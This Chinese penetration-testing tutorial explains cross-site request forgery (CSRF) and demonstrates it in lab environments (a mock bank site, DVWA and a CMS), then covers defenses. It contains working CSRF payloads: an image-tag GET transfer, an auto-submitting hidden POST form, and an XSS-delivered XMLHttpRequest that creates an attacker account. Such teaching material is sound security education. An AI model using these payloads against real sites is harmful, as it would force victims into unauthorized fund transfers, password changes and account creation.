渗透测试漏洞原理
跨站请求伪造（CSRF）
1. CSRF概述
1.1 基本概念
跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击，它强制浏览器客户端用户在当前对其进行身份验证后的Wb应用程序上执行非本意操作的攻击，攻击的重点在于更改状态的请求，而不是盗取数据，因为攻击者无法查看伪造请求的响应。
借助于社工的一些帮助，例如，通过电子邮件或聊天发送链接，攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户，则成功的CSRF攻击可以强制用户执行更改状态的请求，例如转移资金、修改密码等操作。如果受害者是管理账户，CSRF攻击会危及整个Wb应用程序。
1.1.1 关键点
- 受害者没有退出登录，受害者保持身份认证。
- CSRF继承了受害者的身份和特权，代表受害者执行非本意的、恶意的操作。
- CSRF会借用浏览器中与站点关联的所有身份凭据，例如用户的会话Cookie，IP地址，Windows域凭据等。
1.1.2 目标
CSRF 的目标是更改用户账户的状态，攻击者利用CSRF 发送的请求都是更改状态的请求，比如，转账、更改密码，购买商品等等。
CSRF 的场景中，攻击者是没有办法获得服务器的响应。
1.2 CSRF场景
1.2.1 银行账户转账
搭建模拟银行网站 http://192.168.188.183/bank/ 。
1.2.2 构造虚假网站
构造CSRF 攻击连接。
<meta charset='utf-8'>
<img src='./1.jpg'><br/>
<img src='http://192.168.188.183/bank/action.php? username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手，谁与争锋'>
-
攻击者通过 <img> 标签构造GET 请求。
-
浏览器根据 <img> 标签中的 SRC 属性，请求服务器资源，会自动带上身份认证信息。
1.2.3 场景建模
1.2.4 实验
该银行场景一共四个用户。
其中hacker是黑客，账户余额为0。
admin用户可以给其他用户转账，admin给hello用户转账100块
hello用户账户增加100块。
如果admin用户访问了黑客提供的网站。并且点击了第一个链接。
admin就会向黑客用户转账100元。
黑客用户原先的余额
admin用户点击黑客提供的链接后的余额：
查看页面的请求数据，数据提交是在路径中进行的
黑客利用admin访问bank网站的cookie信息。当访问csrf网站的时候，csrf向bank发送请求，bank网站中存储着bank网站的cookie信息，那么在响应的时候，也会将cookie信息携带上。
这个就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。
1.3 CSRF类别
以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求，是不是就能够防御CSRF 漏洞了呢？
1.3.1 POST方式
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.188.183/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手，谁与争锋</a><br />
这里第二个链接就是POST请求，admin用户点击第二个链接。
同样黑客用户的账户增加100块。
1.4 CSRF验证
bp中有一个Target功能模块，然后点击Site map ，会形成一个目录结构。
bp作为代理分析网站的时候，会自动检测安全风险，当前这里检测的只是一些非常初级的。
右键目标主机，有两个功能选项：主动扫描主机，被动扫描主机。
扫描到主机的风险列表：
1.4.1 CSRF Poc generator
Burp Suite 自带插件，可以根据请求构造表单，进行CSRF 漏洞验证。
这里以DVWA靶场为例，在CSRF这里，选择Low级别。
修改admin的密码为123456。
抓包查看修改密码的数据包。
然后使用bp来生成漏洞验证代码。右键点击点击Engagement tools选择Generate CSRF PoC
将之前的123456密码修改为123.com，然后点击浏览器中测试。
复制该URL地址
在admin用户没有退出DVWA靶场的时候，访问了这个链接，点击提交请求。
admin退出登录后以密码是123456来进行登录，发现登录失败。这个时候密码已经被修改为123.com了。
通过bp验证存在CSRF漏洞。
1.5 XSS与CSRF的区别
攻击方式不同：
- XSS：XSS 攻击利用网页中存在的漏洞，注入恶意脚本代码，通过用户浏览器执行这些恶意脚本。攻击者可以窃取用户的敏感信息、劫持用户会话、修改网页内容等。
- CSRF：CSRF 攻击则是利用用户的身份和权限发送未经授权的请求，通过伪装合法用户的请求来执行恶意操作。攻击者诱导用户访问恶意网站或点击恶意链接，在用户登录状态下发送伪造的请求。
攻击目标不同：
- XSS：XSS 攻击主要针对用户的浏览器，通过操纵网页内容来威胁用户的隐私和安全。
- CSRF：CSRF 攻击主要针对受信任网站的用户，试图利用他们在目标网站上的身份和权限执行未经授权的操作。
攻击手段不同：
- XSS：XSS 攻击通过注入恶意脚本代码来实现，可以利用的漏洞包括反射型、存储型和 DOM 型 XSS。
- CSRF：CSRF 攻击则依赖于目标网站的业务逻辑漏洞，攻击者构造伪造请求并诱使受害者执行。
防御策略不同：
- XSS：防御 XSS 攻击的主要方法包括对用户输入进行过滤和转义、使用 CSP（内容安全策略）限制脚本执行、设置 HttpOnly 标志等。
- CSRF：防御 CSRF 攻击的主要方法包括使用 CSRF 令牌（加入一个随机生成的令牌，验证每个请求的合法性）、检查请求的来源 referer 头信息、使用 SameSite Cookie 属性等。
2. CSRF攻防
2.1 CSRF实战
2.1.1 与XSS漏洞相结合
首先确定目标网站存在XSS漏洞。
攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程，可以构造如下代码：
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
2.1.2 实验
修改密码这里是无法进行CSRF攻击的，因为这里攻击者在构造的时候需要输入原密码。
我们需要在添加用户的功能模块下完成实验。
点击添加账号
添加一个wuhu用户
使用bp抓包，查看添加用户的请求
POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.188.183
Content-Length: 107
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.188.183
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.188.183/cms/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: username=admin; userid=1; PHPSESSID=a41pppsn1s0ven64a8smevjhsf; security=low
Connection: close
act=add&username=wuhu&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0
攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程，可以构造如下代码：
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.188.183/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=wuhu&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
然后将wuhu用户删除了。
再将构造的攻击代码提交到cms网站的留言板模块
提交成功
管理员登录后进行留言管理，看到了我们刚才的留言，意味着触发攻击了。
使用wuhu这个用户登录系统，密码123.com。
登录成功！
2.2 CSRF防御
2.2.1 无效防御
- 使用秘密的Cookie。
- 仅接收POST请求
- 多步交易：多步交易，有可能会被恶意攻击者预测。
- URL重写：用户的身份信息会暴露在URL中，不建议通过引入另外一个漏洞来解决当前漏洞。
- HTTPS：所有安全机制的前提。
2.2.2 有效防御
验证Referer字段：
- 前URL的上一个URL。
- 转账页面到转账操作。
- 伪造？
添加Token验证：
-
二次验证：在关键操作之前，再输入密码或者验证码。
-
HttpOnly：某些情况下禁止JS 脚本访问Cookie 信息。PHP: setcookie - Manual。
-
SameSite：Cookie 属性，浏览器自带的安全机制。
2.2.3 HttpOnly实验
验证：
创建一个function目录，在目录中创建一个setcookie.php文件。
然后编写函数
<?php
setcookie("username","wuhu",time()+3600,"","","",false);
?>
这里将httponly参数设置为false。
在浏览器中进行页面访问，打开F12，输入如下命令：
alert(document.cookie);
cookie信息成功弹出。
点击Application查看Cookie信息。
将Cookie信息删除，再次输入命令。这次没有弹出Cookie信息。
现在将httponly参数设置为true。
点击Application查看Cookie信息，现在HttpOnly开启了，之前是没有开启的。
再次输入alert(document.cookie);，发现弹框中没有任何信息。文章来源：https://www.toymoban.com/news/detail-682630.html
文章来源地址https://www.toymoban.com/news/detail-682630.html
到了这里，关于跨站请求伪造(CSRF)的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
